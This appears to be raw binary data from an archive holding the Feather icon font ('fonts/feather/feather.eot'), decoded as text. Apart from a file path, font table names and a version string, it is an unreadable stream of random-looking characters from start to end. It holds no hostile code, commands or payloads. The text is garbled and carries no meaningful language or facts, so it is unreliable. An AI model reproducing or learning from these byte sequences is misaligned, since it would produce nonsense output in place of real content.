|"M!x]N0O+R%$"?cV;tchS?Jq+uyx'`e)q^=>I.]F~p [_C46z,d̵+6S/Tgy{L'U;h}>QlS4q%[İuF6\fkPsټN?!BR3eJQ{T=(NG44{H yS}>cGkYxmV5&Yzn̤؊'~ #iΉ=w4;3Zhp #@10C' 8#΄3,8+Ά8'΅s<8/· . "(.HqI\ q\py\Wĕpe\Wpu\ĵpm\p}7čpc7psĭpkp{wĝpgwpwĽ0E3(!p2vQF'aa}q?x NixxGxx'xxgxxx^x^Wx^x^7xތxގwxލxޏ>>O>>/o~~_~~?xk<[|/B/b/F؛xަm{;15m+̰B6eBeYf\^k`MQq2Ef1\ELbN133E%l1">AȚ*f--)> 8љmb:rvlTLJ)1jhIy,DSS^U͢a$V7RҷCTdeLQjg&g*&5SSAOtLq>ffd㎸K;bv9ݜrvqVNsDѵK8}-Wp:k׳g炸n)uITs07|N$Swx \ɖ 7߷Љ7ay]S\i-HM>R0íf]$KlCMJz)k3:T: E@*57+tJ>tf9։<LS#Me8g#M%R1X.&M))j!hQ7cd5-uA;6*dcm( klUn:-+Ώ7-BئvͅQؤ}f͈hd _ȉ]0W`:%Qd.EmsYu5OAX*,J!f"[}]]9}ʊIa1Ԥl}7kkk$ PKZ2fonts/feather/feather.eotnu[LPɆfeatherRegularVersion 1.0feather 0GSUB8BOS/2WKC|VcmaptPmXglyf<ʜheadM6hhea$hmtxHHlocant&maxp+ name8apostϸc5 D\'Ɋ_< X'  ,DFLTliga2PfEd@x*\,|v, |Jx*x  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      xx !!"" ## $$ %% && ''(())**++,,--..//00112233445566778899 ::!;;"<<#==$>>%??&@@'AA(BB)CC*DD+EE,FF-GG.HH/II0JJ1KK2LL3MM4NN5OO6PP7QQ8RR9SS:TT;UU<VV=WW>XX?YY@ZZA[[B\\C]]D^^E__F``GaaHbbIccJddKeeLffMggNhhOiiPjjQkkRllSmmTnnUooVppWqqXrrYssZtt[uu\vv]ww^xx_yy`zza{{b||c}}d~~efghijklmnopqrstuvwxyz{|}~  !!"" ## $$ %% && ''(())**v*bp`.Fz8fz  ` v  l > f F l PT, vNV&n<(jtDz@h <" h !"""~"#:##$Z$%J%&&b&'T'((N(()<)t)**+P+++,D,-,-..J.v.//V//01h2234455n556H6t67@78.89"9j9:@::;*;<<<=,=x>??~??@v@@A6ABBVCCDDhE EEFJFGGhGH\HHIIdIJ4J|K KbKL>LM4MN"NOOZOP P|PQJQRRRS(SfST TTU2UUVVHVWWbWX0XYJYZZZ[[R[[\P\\]$]]^^|^_^__`T`aabbBbrbbcTccdLdeN(1DP+"!'4.+!'#'!#".="264&3!26'.'54>;2S% 'J#>-I,?2 w m  ) 'LY a4n%  ?|  #$w  &V -9!7'!'!2#!"/&54?6#2>4."2675.">b  +   $$>U  b   JV #$1&'67'>7.'2675."#2>4."  ǣ٣x$$*+   U  P٣٣'   +&"#3>7273>4&'# 8 wX 8 wX $zb$/+7>2!.67!>'&"#2>4."2675.":D:i#:#-#9#J  0 $+   $$!!C<""=C+*)[   J %1!"3!264&7!!>4&!"3!264&!!>4&   n  $$$$$$$++.>7#.5463!2#";>7.'!3264&3!".6762***7HH7V7HH7*z[V   (  U$I66HH6U6I$V   %1!"3!264&'!!>4&!"3!264&!!>4&     $$$$$$$ %1!"3!264&7!!>4&!"3!264&!!>4&   UU  $$$$$$$ %1!"3!264&'!!>4&!"3!264&!!>4&   UU  $$$$$$$- 27>.4."!>4&'! "  A   "    $+ 264'&"!>7." " "$b "  "<$V&3<%>7#.4673&'4673#>2".4>3'>4&"+SS$+.N//N.I``I$00H00$ $)+-QZP-`HI`S0I00I0`$*17<A.'&546767>/7!>7/#37674'#3%!.3&/*L}4&-,L}_+N3_1JJJm'꾬(\_N7_X+RuY`N;da vVcK=da YAUE4&%>.>&/UVb $$ "  !>4&'!2764'&"V !  ! U$$ "  "  " + 267.".2764&"$$  "  " Vb  ! + %&"264>4&'!267 "  "$ " "$U- %>.2%267.'!!  "$Ub "$+ %."26264'&"2?+$$ " " " +V !  ! f#/.7>7"/".7762'"7>7.'1X?#%pp%#?X1     =BmmmEjj||jjE ss >RRVmllm+'+;3'3#.'>3'32#.5463#'32#.546+UVUU+VV+U+UUm7C2675.'&7>$'&76$&''.7>>7.'0I0>;7hkm  ƒCGMAlg!6DC1NM`6II66II+$00$+!oz|YUQ chm7#)+8X##-:(*KIJ sI66II66I+'+;3'3#.5463'32#.'>3#'32#.546VUUU+VV+U+UU7C_7#"&'>;>4&'#3>4&32+3>7.'#54&"2667>.+7>.;U6II6UU7HH7U$$] !      V$H66H$$H6V6H$VV!     1ES626=4.25676.!264&#!6"&'.2676. >'.7  JS$0K%&  !""! U " #/3!2654&#!"4>3!#!.'%54&"26UVV$/V6H$/7H$$*T/$H7/$H7VVy%%7''%&462&'>.67+ ! 11 + 4Re! +"  "+ 3V !55.'!&!&47>75>7"&'.2676.mm.**#22#*P ! :F: !+mm0&(}K2#Ց#2Kp  !""! V 2#!.'>7!63!!U?TT?$!$$UU??U+$U$6$+'+5?5>7332!".5>7#;!332654&'%!54&+"+H77H/$H6T/$H6UU*+6HH6+$/V7H$/6HUVU++2P /!.'4>;'.>&'.7'#"3!/322654.+'&#!";I " I6H$/EB?<9roǵ#%` $%.H  " IH6/$C9=?Br+Ǵ'`%#r/$m%V!+G!54623!.'>7354>2!3!265".=#!54&'#"&=$V6HH66HH6V  VV+  VV$++H76HH6V7H+   +   +++V+ "%4&#!"762.5>7!&'%V   H77H  SX  6HH6U  v$+"'%.5467%62-& %>5%9U!&&!<!%&!U<K= U h=%i%< =%%=d E_ z +/;G#"3!267.+&/#!.'>73767!.'>7'>7.'N  I6II66II6I  I[xx[[xx[6II66IIh*m*H6*6HH66HmmyZ[xx[ZySH67HH76Hl%8&'&67>>.'&7>754&"%&"27>.|}HESVw   ieTY$ " "  I('#Vlnda73?CxzІj+/( !  I.27>. "  Is   I-6&"27>.%#!"&5463!>4&'!!>74&"s ! " HV+7HH7U6I$ !  IV$H66HH6+#IJW7>'.'&7>'.'&75467!!"3!>7.'!2>#2>4."M3G $kLy  Θ  ;7HH7V7H  +*   G3Mj#y      U$I66II6U     --&"27>. "  "   "  >.264/   " b " " %2764'&"b "  " "  "  " ++%264'&"2? " " " "  " %.2?6.&"2?>.I " " " " s  "  "  +!%?64/&?64/& " "  " " " " " " " " !>/&"?2>/&"27 " " " " " "  " " շ " " -%>.>/%>.>4/  "   " 7 " "  " " V &'67'>7.'  ǣ٣U  P٣٣V/7>7!3!.'>7#3!267.'#!.70101!5+0$$0+6II66II6+++0$#2U$00$I67HH7U6IUU$12xUUV ,;F"'&'46767>3"'7&'>'#'?6.6>3!.'"/*Cp:&-_Cs ([d!IGYI8C9`iA?6aUSN;YbVc[=; PZ!ZVA$@2,)W<:V*  \7.'."264/  ǣ٣$ " sU  P٣٣| " t},F>&'.7>7;7>'.'#.67>.+76.;$et! ZOhh5D^LBcq e+J "   ~ !   C 4fdzzdUCCf#eduD!  "    #/;Gs%26=4&"526=4&"26=4&"'26=4&"2675."'2675."&>&'.7>;7>'.'#.+%%%%U$$$$$$$$A0,Ab!L2"%dc6>[69  TQ])UUUUUUUUUUUUUmwxQ ! ?^\gx`Kyi ! &[[oo  #O2654&"2654&"267."&>&'.7>;7>'.'#.$$%%$$A0,Ab!L2"%dc6>[69  TQ])UUUgUmwxQ ! ?^\gx`Kyi ! &[[oo:H&32676.'#.3!27>.#!"&'&67>.'>'.`5,J0 ! GpA&ud %̆}-* iN[ " " U# x](HU( <l<l$D샂! yee5 ! _U " V"&*- "'&54762?77'5'%5'7'U  U 7͉V `>w3``N   * y`xx`aaaCC`xȰxCC [+,9:GHUVcdqr&>&'.7>;7>'.'#.#2>4."#2>4."'#2>4."#2>4."#2>4."7#2>4."#2>4."0,Ab! M2"%cc6>[68 TQ])+   +   *   **   +   +   ++   UwwR ! ?]\hy`Jzh! '\Zpo   a   J      a   J      V -&'67'>7.'?.767%6  ǣ٣j88lZ Z U  P٣٣86Z ZV'K3!2654&#!"4>3!2#!".5#"&5463!22675.'!3>4&V$//$$//$*$H67HH7*/$$//$$/**7HH76H$(%?64/&3!>4&'!.'4."b " " g =N*6H  I " " " +N.>&/!!2>54&"   DH6*N= $ " 7H$!3!264& " " +N&/&"2?!.'4."3!264&7 " " 7H  !.>&/4.#!"3!26    =N*   6H$ " +*+N3!>4&'!"26b " " $/*N= $I " " " +*/$$!&/&"6?!2>5."!"7 " +*+N7.'!>7!!.'%35#'!!.'>4>2".5%>2"&'>2"&'%>2"&'.4673"&46;2#%".4>;2#"&46;2#VH77HH77H++   $$$$$$V     7HH77HH7V+     V*$$$$   $$'4>3!#!.'5.'!!!>5%.7H%.7HV.%I6.%I6UV'3%5>2>7#.4673.'"&'53#&'67$~~$~~  ~~$~~$i  V $-&'67'>7.'7.4>7'>4&"  ǣ٣٣.N//N.I``I$00H00U  P٣٣-PZP-`II`T0H00H0*6!"'&4763>7.'! 27>.264'&"6II6 * +y "   " "I66IU UU " E "  " J%'.2?64&"'2654&"&>'.7>;7>'.'#. " " %%*y97P " =+-^^59X##.!E4V&  "  mkl\ "GUSU w[@mg" ! 2QQaiV.:7!>75."#!"&=."%'.2?64&"267."UH6V6H$$ " ! $$7HH7U  " V+ 2676&/7.'&6?62-@#"%$""AR-,/wv/,-S "@USaaSU@YRmk}}kmS +73'7#.'56762  + "ęZ "  + V%*<#!"&546732>4.+!>754&"%3'7+"&=4762+   7HH7U6I$Unn U   "U  I67HH7Mnn[ " U   V"3'7+"&'56762!264&#!"no +   "Don[ " +   V$$-#4B#!"&5463!>4&'!!>7."267.'!>.*6HH66H$$ + "U$H6*6HH6n$8 + "/<E26767&'."'6767>2"&'&'&'&.4>7'>4&"n%1FF<--.62#3tt  \\WW Yi*Prm* ! FV+ttY  XX\\ i)nqQ* ! U.V(H>732#32++"&5#"&=46;#+32346;7#"&=4673m*UUUUUI`VVV_t2#UUmU!+`IV+V#2V&2!"3!267#"&5732!.'>7.467!+Un  I66II6Vo 7HH77H$$#BZh>.>7>..'&'667676&'&'.'"7632.67>.676. >'.!Gr* (8PlL<  2t>XE=,K " 8) +5Ql21 ((XF<-",.!  " "A\X! " " U[ ! 6N&'?'%.54>'%E   `   `4  V   * "Zy  V   * "ZV&2>L!"3!267#"&5732!.'>72#!"&4632#!"&463#".4>3+Un  I66II6VVV   Vo 7HH77H+$$$$V$  V#'.5<C>7!!.'!!!%5##3%35'35#%35.'#3>7#35#+M99MM9d9M*VV+2NN9MM9d9MM9UUVVVՀNNNV#&2!.'>7!"3!267!.73+ * I66II6UU +7HH77HV֙V&B!"3!267#"&5732!.'>7#.46735>23#"&'+Un  I66II6UU$UU$Vo 7HH77H$UU$U+'"3!2654&#!&/!.'>73 I7HH7V7HH7 Im*H6*6HH6V6Hm+ .>3!2/.547  V  (  V ]  y U  +' MV)A4767636367676#&'.#"&636?#&'.#6 &:[,Q>7C!K*1 &:[,Q>7C!K* $,Q>7C!K* 5K,Q>7C!K* 5++   [V  '.5&'67>7!#.3.%3>>75.'   :1uu1:-1:u: ?66? ?66? U  XJ!xx!JJXx!!xXWFFWVWFFW+'+;?O35#'!#!"&'>35#'!#!"&54635#'!2!.54635#'!2!.'>++++=++h++V+V+U+U+6*>"'&47627>.#""/&"=\)( " RRUV.-*.^<&F- " -<;88[7!3#f  H66HU"* +7HH7 @U[~%&/.'&7>.4&'6&'&'&#&&"."2675&7>.'.5467>'&776276?26=6'>tCL &  0{^ ; Y;FF;Y x$ yt  )>DD>) ux   $x~T*#>'#.W%*U(&&(U*%X/(*0  t%C  24 )  ) 42  C%t  ))&+!(5>1.'>7!4&#!"62'!265".4>3'264&"6HH6V6HH6*  " 11-<<-  +H6V6HH66HD V283<.-.#!"337675#+"/#!>7&?H7V7H?Xy n y H~H տH  H)# 6II6 M#)  mmmmZ%56'%.467-&7%>.&7%>. UU sKKh  hh  hQ  &      V #$1&'67'>7.'75."26#2>4."  ǣ٣$$*+   U  P٣٣ѫh   V#0<=J!>74.#!">7!!.'%.7>7&'&6767#2>4."`HH`0>"T">0UlllTlU*BC7 R65=N fYZ eZZ*   VTH``H">00>"llTll#6 ,@#5= RBZ eZZ f   + '>7!!.'54&#!"!!265#3UH6V6HH66HV6HH66HH6րVV*5A3#";>7.'#"#.'>732>4.+3264&'!>4&'!I``ImmI``I   mm=V+`II`$mm$`II`  mm$$$V  *6B%267'"'7&567'637.">4&&'67>7.'4zz4z66z#"z)+,dz6@B4z4zzz""z)++  6II66IIT)++)z##>z6@B4z4zBDzz#"z)++ez44z4zzo  PI66II66Ib'M6?>.6?6.'.7.6?6."&'.?>>'!aph(2%$`1JJ5410EKA " !aph(2%$`1I " I4410EKA " <-5''1a#$2J I0245#!-5''1a#$2J " I0245#!V,83>7.'#";2+"2?64/&"7!!>4&U6HH6 ! ! <UH77H$V$H ! " ! +$$  #$-.78A!>4&'!!>4&'!!>4&'!#264&"#264&"#264&"U++++$$*+$$*+$$U$$$$$$*$$$V,55>73#!.'4>33!2654&'!"7!5.'mm+6H$.6H$.*VV`II`ՀmmH6/$H6,/$,nI``IV,8!#"&546;264&+3264&72?64/&"7!!>4&6HH6 ! ! <$H7V7H$ ! " ! +$$V #/;GSc2675."2675."264/&"264/&"%3>4&'#3>4&'#764&"27>.6$$$$y " x!x! y "ʫx " y !y x +Cx " y !y !x "$$$$y " x!x y&!!.'>.'!%"'%!>57HH7V7HH V {  I66II66Il  R-!1=267.'!."!>4&'# 67>. 64&"2U$+$+ 4+ ! "$+$++ ! "[#'%7%6%62'%".5467%7U@    fMzHn   U     5.'67"/&'.'>7%".4>3'>4&"!DZXXZN@ HXG  GXdllҔ-PZQ-`IH`S0I00I0 #!>4&'!7!>4&'!!>4&'!U$$$$$$+0%63>76=.'#"%"'.?&76;fDK]*" {KDR^"76tWO K@jV_ z"^RDK} "*]KDhw#L (N+ ՟_+ %63!>54&#!"&'>7!!  1H6V6HH6 6HH6U6I-!1=%2654&#!";4&"3!264&+>.6 64&"2$$ + 3+ ! "+$$I+ 3+ ! " #:Qco{>'.6764&".=4&"5.'&67>26.'54&"676."7>76=4&"2675."!264&#!"  " UQ9ac& " 21$UUCCf#3C+$ 8T$qacK "<$$$U7U " 5T(% "  *!C_KB!&/"87.'!>4&'!  ǣ٣VU  P٣٣Q$$V 6BN.'>7'2674&.'54.">754&"2675."!264&#!"`II``II`#20H02mm  $$$VI``IUI`` 2#$00$U#2UmmU   UUn$$+!-3!2654&#!">7!!".5!>4&'!VVH6V6HH6.$VV6HH66H$.$$V !>4&'!VU$$,#.767&%'.'&67676G*!qz xy+_ ٬9DFO,\I_+yx zq!*D 箭,PFD9+#3%3!.46735!".5>7!2!>54&#!"+/$H6/$H6*TU$$U$/7H$/V6H*VV #/;G.'>7'2>4.#7.'>7'2>4.#".'>7'2>4.#"6II66II6   6II66II6   6II66II6   I66II66IT  $H67HH76HT  $H76HH67HT  $ #/;G.'>7'2>4.#.'>7'2>4.#.'>7'2>4.#6II66II6   g6HH67HH7   h7HH76HH6   I66II66IT  $VI66II66IT  $VI66II66IT  $V#6GS_6.">&/>4/&"?.2?64.2?64/&"!>4&'!267." "  a " " " bb " " b " " aV$$ " " b " " a  " a " " " b+$$V-!,7#.'>73>7%6#.'>73#";265%#";265H6V6HH6H6V6HH6VV6HH67HU7HH76H$$\+%76&762'%&*+ 6 +*4q qQ+ #+# 2 .76&' 8*' 7 OT S5 7 '<V!7'!'!2#!"/&54?6>b  >U  b v%,0"'%.5467%62%&%>5%79U!&&!<!%&!U<-cK= U vKvh=%i%< =%%= 1 L__ z -;;V #/&'67'>7.'74&"2674&"26  ǣ٣x$$$$U  P٣٣+'3'32+"&'>3'32+"&546+UUVUVUVUV ".: 27>..'>7'264&".'>7'2>4.#" ! V?TT?@TT@$$7$$@TT@?TT?$$ ! VT@?TT?@TT$7$$7$T?@TT@?TS"$7$W)Ugy%'.'.'.'&>;7>#4&'&'&'.'&6?>'&'.+"65.>.'.'.>&'.)3hWR39F $11G&b<H#691=UC?  7  U1 6   ?3/{JO]Nl H1   $1% E94RXh3(=195$H;c& G2 7 1U  6  >C_PJz/3? S#lN  4H  Ηy~UJt6?64/&"!>4&'!4&'&'&'.'&6?>'&'.+"673'.'.'.'&>;7>  " UC?  6  V1 6   ?4/{JP^U)3hXR4:F %11G &c<H$6:1=  " ! +$$+7 1V  6  ?B_PJ{/3? 2% F84RYi3(=196$H.>'&"4&'&'&'.'&6?>'&'.+"673'.'.'.'&>;7>  " !C?  6  V1 6   ?4/{JP^U)3hXR4:F %11G &c<H$6:1=I D "  !g7 1V  6  ?B_PJ{/3? 2% F84RYi3(=196$H'.'&'.>=.'&'&&%.'&6732?>'&'.'#"> 7>. FU  6  ?B]OI>DQXh3(=096$H;3?   6 " 6 G11$ F9 !U " fF0 6   ?3/=D49E %11G %@P^B?  6 " 6H$681=(3hX!V " ~X Lv4&"!>4&'#67>.4&'&'&'.'&6?>'&'.+"673'.'.'.'&>;7>$* ?C?  6  V1 6   ?4/{JP^U)3hXR4:F %11G &c<H$6:1=$ +07 1V  6  ?B_PJ{/3? 2% F84RYi3(=196$H'&'.+6?'.'.'.'&>;27>C?  6  V1 6   ?4/{JP^U)3hXR4:F %11G &c<H$6:1=  6 1V  6  ?B_PJ{/3? 1% E94RXh2)>195$H;c& H2~X Lv2654&#!"3>.64&'&'&'.'&6?>'&'.+"65'.'.'.'&>;7>$ * C?  7  U1 6   ?3/{JO]U)3hXR4:F %11G &c<H$6:1=$+ 7 1U  6  >C_PJz/3? 2% F84RYi3(=196$H.$76.7!.'>32'.'!.b6ڄ{x  ܟ A lU^G/uAS8y~7" B G.8AuV *&'67'>7.'7/.54>  ǣ٣x  U  P٣٣![[s .   V  V,% '.54>$V  N22r .     +!-93!2654&#!">7!!".5267."!>4&'!VVH6V6HH6.$$$VV6HH66H$.V$$V #/&'67'>7.'267."!>4&'!  ǣ٣x$$VU  P٣٣'V$$V 267."!>4&'!$$VV$$+4>74&#!"%.5>7.2?>.٣V7H^GH7 " ؤnH6F_6H   V9=M!5!>3!23#.467326=4&#!";#.'5>7!!'!2#!"&'>+VV*7HH7UUVUU7HH7V++H66H$$H66HUVV+ '&7>. 76'.%267."ddiidd}}T}}$$Gjiddij}}TU +AUg.'>7'2>4.#727>4&'&".46764&">&676'.&76.">&6II66II6     " *--* "  " *--*qqqq " I66II66IT  $MVN " *mxm* "MVN " *mxm*vv vv2v! ~(;Q6?64/&5>7!>4&#!"2664.>&/!"!2>=4&" ! gH7U+N< $ ! H7U+N< $ " " U7H$ >.'.6?>.U$V%&O "?" ?"&P "$+$i1&% &47>&     Sy* * *   * * *   ::4."3!264&+7>76&'&6?>&'.  3瑑#r~i Sge[tt(   $ HE'eQ 7:rq {n 8!7M"3!2654&"3264&#!"265>>&/.6>76.&/&%$i?" P١&"P٢%"?"$$Ts'0? " N<1i պN<1i Ts'0? ":4"3!2654&"'.'&676>&/&$676.$i(tt[efS" gr#ԑ3"$m{ rq:6Q " e'DI  +$(:!2#!"&=#";463!23265'!!.'>7!U++++6HH6 HՀ$*ļVVH6V6H *6H/%"/$'&76$>7.' " vd` fjqlvvv " Ylqjf `dvvvvV#3GHUVc3!26=4&#!>7!2!".53!26=4&#!>7!2!".5%#2>4."#2>4."TUH6/$H6T/$UTUH6/$H6T/$+   ++   ժ7H$/7H$/7H$/7H$/U      + #,BN.'>7'2>4.#.'>7'>4&"'&4626.67&462'+I``IHaaH''%00%I``IHaaH$00I00 " 7 "  " " `II``II`T),)0H0`II``II`T0H00H0T! 7 "   " " V "+8AQ]".4>3'>4&".4>7'>4&"".4>3'>4&".4>2&'6.67.N//N.I``I$00H00$.N//N.I``I$00H00$.N//N.I``I$00H00}  #  ! ! -QZP-`HI`S0I00I0-PZP-`II`T0H00H0-PZQ-`IH`S0I00I0   !  ! V,8!>74&"#!"&'4&"%264/&"2?'267."I66I$$ ! " ! +$$7HH7UU " " =+W+'&'&'.'467%6'67>7%6A:WaV VaW:A;5JQQJCLQ (3K_UUU_K3(Z%.@I4KKI@:+ %.4>7'>4&"'.#";6?>26=>>&/.>;>4&'#"&/5&6?64&".=."#&3#&/..'6&'&.6?>'&'#.'>7676/&4762?6=>7?62.N//N.I``I$00H00 8$#7  B!(%$@C 7"#7  "B@%$%>Q6II6 /DAH76H  AC06II6  %%(f(  I66I! 'g'&& -PZP-`II`T0H00H0| B!(%$@C 8$#7  C@$$%> "  8"#7 I66I! AC06II6  /DAH76H  'g'&& 6II6 %%(f(  V  &47>&%4."26<U    $}zV ( V  V  SV   -/;I2675.'#3 >.%3>75."'264'&">&/&U$t + "$ " "7 "+$8 + "+$ "  "  "+#>7!!.'#";!2654&#UH6V6HH66HV6HH66HH6VVV-'.54>2654&"<U  $$z (     SVX' #/;G$&%6.7>>'.>'.%7%>.7%>.PJP>yF?y%"#Ø""E  3E   JPJPxF?yF?ZD  VD  ""ϙ##V &'677 6'&$  )[hm[hmU  xmhxmhVV#$13!2654&#!"4>3!#!.'%#2>4."VU%.6I%.V6IU+   T/$H6T/$H6V   +!3!2654&#!">7!!".5VVH6V6HH6.$V6HH66H$.V -9F3!267.#!">7!!.'#2>4.".'>7'2>4.'VI66II66I+   +[xx[[xx[#:##:#6IIT6HH6T6HH6V   x[ZyyZ[xS"2/.7'.>7% ї$$ ^&z  /   /   b bt (   (V +&'67'>7.'35'!!.'>  ǣ٣NU  P٣٣ѪV  #/;GS_k{%.'>7'>7.'2675."2675."264/&"264/&"%3>4&'#3>4&'#764&"27>.6mmmmI``II``$$$$<! = "g= " <!FUUgUUd= !< "i<=mmmmR`II``II`~UUUU= !< "< " = !$$$$<! = "g=< V!1=IWct%.'265>726267.">&/.3>4&'#3>4&'#7>.2!"3!264&264/&"2?mm$`II`$$$< =cUUgUU@<= !V ! " ! mmI``I+q= <$$$$=<!$$b " " V -%.#!"3!267!.'>7!#2>4."+VI66II66I+   *T6HH66HH6   V , !2764"&'&5463!2#2>4."J_ # 0 0.3.  l%+   _ / "kk  'e   V!1=IWcv%.'265>726."26>&/.3>4&'#3>4&'#7>.2!"3!264&&"2?>.mm$`II`$$$l< =cUUgUU@<= !V ! " mmI``I+@= <$$$$=<!$$ ! V #/;G&'67'>7.'7.'>7'>7.'7.'>7'2>4.#  ǣ٣٣[xx[[xx[6II66II6   U  P٣٣QRx[[xx[[xSI66II66IT  $~&%.67>7'."2>&'&u{6&:T@?T7($7$* MeM )'JYQ2?TT?5/F$$ Za99aZ V*4D2#!"&'47>32676&+.'54&'#";#.'>732R3&<H1 Ib;!WVV+8II8++50<  aH+ ^UH7*7H*V+5G7".7>3!2#.'5#";3267.+'32+"&'>3&< G1 Ja:<!VI I+s7P O7t+50<*  aH+,[$UD67C,5!2>5.'!">7!!..4>7'>4&"UmV3]I'm3^H'UVQ.N..N.I``I%00I00m'I]3m'I]3-PZP-`II`T0H00H0,5!2>5.'!">7!!..4>7'>4&"UmV3]I'm3^H'UV/N..N/HaaH$00I00m'I]3m'I]3-PZP-`II`T0H00H0V )GS_!>4&'!%#!"&54."!>74&"546;226=.'#2>2654&"2654&"V  H77H$$H77H  $$$$U$$*U   7HH7UUUU7HH7U  V )G!>4&'!%#!"&54."!>74&"546;226=.'#2>V  H77H$$H77H  U$$*U   7HH7UUUU7HH7U  (&"2727>.%2654&'!3 " " " "  k$ " "  Y$&&"2?2>'&"!>54&"I " @ " w " k " j$ " "  $/>2!.67!>'&":D:i#:",#9#J  0 !!C<""=C+*)[#/!26=4&#!"2>5!264&#!"267."V$V  g$$V   $$VY%J6%&677&'&6767>>766&'.&'4'&767->"mc+ 6]QE>243  YY3iI gUGSz  \F |ȫ;-XGF+  MZKv,m $"L0*MJ7n4Ck& /0="+5"&'.?62&'>2!.'5>23!265+$ " " $H66H$Vg "  6HH6V!(2>5>2.'!.767!.+),)$`II`V+"H"U''HaaH 5L]%264/&"2?'267."&>&'.7>37>'.'#.264/&"2? ! " !+$$*y:6O=*-^^676&'.!#!.'4>33!2654&'!"ef#gDDV6H$.6H$.*VՀe qcBL^DH6/$H6,/$,++7J!54.#!"26=>7!26.'>7'>7.'&"2?>. =M+*N= $H6+6I$[xx[ZyyZ6HH67HH ! V " U+N7!26.'>7'>7.'!"3!264& =M+*N= $H6+6I$[xx[ZyyZ6HH67HHU+N7!26.'>7'>7.'%2654&"!"3!264& =M+*N= $H6+6I$[xx[ZyyZ6HH67HH$$U+N7!26.'>7'>7.'%2>/&"72?>. =M+*N= $H6+6I$[xx[ZyyZ6HH67HH " " " U+N7!26.'>7'>7.' =N**N= $H6V6H$[xx[[xx[6II66IIU+N7!26.'>7'>7.'5.'&267>7.'& =N**N= $H6V6H$[xx[[xx[6II66IIWH  +4$+55+ HXXH U+N=4&"'54.+;?2654.%>'.*VV/$H6/$$;8+ $/ *  $ G " U*$%.V7H$/*+.%$ *    U " "6>&'%&47%3!>54&#!>7!2!".5   b*VH7/$H6*/$x  V   , #SV6I%.V6I%. %1.7>!.'&676#>7.'>7.'`425LLF~TT~FLL524?TT?@TTj@TT@?TTBCB%"&SRddRS&"%BCBT?@TT@?TT?@TT@?T-9>&/#.54673+3227>.2>'&"   ʜ*   !   " !   L s4 " E "  "V3>&/#.54673+326764'.   ʛ*  22 JJ    L sY54 OO 3G>&/#.54673+32%676'.6764'.   ʜ*  dqq22KK   L s=vv v54 OO >&/#.54673+32   ʛ*     L sV (D`%.'>7'>4.'"/&'5>2>#./&>3>7.?>73&/.'#FtFFtFm3 " @ $l$G33H$$G23G$+RCyyCmm}n4 " @ 2AA2d2AA2#34A6 >&'& 6'6 >&'& 662>&'&"#2>4."{,{! ս" 499!PP!+   Hcc ! ww " '' ! 88 !y   +!-;3!2654&#!">7!!".5 264'&"%27>.VVH6V6HH6.$  " " "  V6HH66H$. "  "/ " 7S>#!"3!>.2>.'!"3!2&'.>#!!>.6     -C MT !Q TM C-   )' "4N&Za&   3VN,  " ,NV3$ '+$.264'&" "   " " " E "  "V %1&'67'>7.' 27>.264'&"  ǣ٣ "   " "U  P٣٣ " E "  "^!".676!2&7'!2!"&?  5%P  U5%%  !  !%UK?".:%.'&676"/'>4.#2654&"!264&#!"Չ!q{}XST " 3{BRQQRU$$V+>9:jmm " )+UNO$$/+%$'&76$"'%>4.#'!264&#!"}kf lq'ws_ " sRQQR_sw'ql fk} " NO$$+/3<ENW%#.'>735#.'>735>7#3.'35%5."#267!264&'#>4&"U`II``IUUI``II``II``IUUI``II`0H00$UU$00H0V0H00$UU$00H0UI``II``II``IUUI``II``II``IUVU$00H00H00$$00H0V0H00$U%!.'&676#"&'.!>7.FuEEuF56 vu wI``CxyC%Ur{wwaHI`, )9!>4&'!"!>4&'!>76.>76.V   VU  U  U  U  $  $$/          +(5B75>7#.'5>735.'3#.'%#";265%;2675.#UH6+6II6UU6II6+6HU+V+ի6HH67H++H76HH6+%>2>7>2.'.467!$x[[x$*ZyyZ+$$V3264&#!";#"3!264&+   $  $$a%!"&'>3!%!>7.'!>7.'!@8qJUCj1*7HH7U6II6&HHWH|}H76HH67H'1%23#"&'5!.'".6?> 3!4&#/|/$$6H$$/$H7{$V #B&'67'>7.'7".4>32.7>.676764.  ǣ٣٣   fh??N,'"( ,'?4U  P٣٣|  $r  <= ]@)A" >/ V5 "'&4762"&476.6764'&"2764.uwAA??'f(%%w " j ! 0DB??BBxWW\\ !w>>BA&&'f(x "i! AD1BB>>x\\WW "  )FP.'>7'>4&".'>7'>4&"!#!"&'.'#".4>;3!267!U6HH67HH7$6HH67HH7$H E0>2GA`   `1FA=I66II66IT$$VI66II66IT$$/8>1  >03U.'&>27623!.'>73!2654&' " " 7HH7V7HH7 ! ! I6+7HH76IU+8DTd%'&".67>'.6767'.6767'.>"'%".4>32.>&'&.676'.99  ,e6wdO I[cYI  GT " I     :0  (p "c '' wB=c(A?*| " t  % )"$ ]b " WQ++?S#";>754."#.'54&"3264&5>73264&+26%326=.'#"+   6I  U$I66I$$I6  I6  6I$$I66I$+';O#267546;>4&5.'#32263>75."+%3>4&'#"&=."U6H$DH6$6H$H6$+H6$6H$H6$6H$[,"'.76762!6762% /#!"&/  9 / ^_ / h6x4QQQSK/  %  /C6  +)=KWc%26=3264&#!"35>232#!".4>32653264&#!"37"&54>2"&'>2!"&5462+$U$U   $V$  V$$U$$$$$  $$+   V">2/.7'.>7%z  /   /  > (   (6>"'&4762=\)( " RRUV2762"/&462&'67'>7.'$b ! " !   ǣ٣<b " "   P٣٣V%1"&'5.6?62"'&'67'>7.'+$b " !   ǣ٣b  " I  P٣٣V#/3#"/&4?62&'67'>7.'b " "   ǣ٣$b ! " !   P٣٣V%1#.4673'.>"&47&'67'>7.'Db  "   ǣ٣U$b " !   P٣٣+ #%"&'>2"&'>2"&'>2+$$$$$$+VV+ #%"&'>2"&'>2"&'5>2+$$$$$$+VV+5>!.'"&'.'!.5467!>7!!""&'>7#63!/&H70$5XY3#2".'o7H'.7H$0-(),2#0MH7?#.>".?!"'&4762  " $ "  " b " " "  "  " V %1>75"&'>  &'%"&'>7>7.';԰j;԰;?77 QYYQQYYQ !778778+.7A32+3#"&'5#"&46;5#.4>;5>23>7./5#"3+@QmmQ@$@4W55W4@$@-<<-@00$mQRl$2[eZ3<.-<V382+/C32+"&'5#"&46;5>2!!.'>73#"3!2654&#!&'+UU$UU$?i7HH7V7HH7 : U$UU$VH6*6HH6V6HCV,048<GR32##!"&5#.=46;&>327>32!5)!!!!.#3&>4&'"Gd+V+d*B'?^  ^?'B*UUUVV9#$$ $$#9 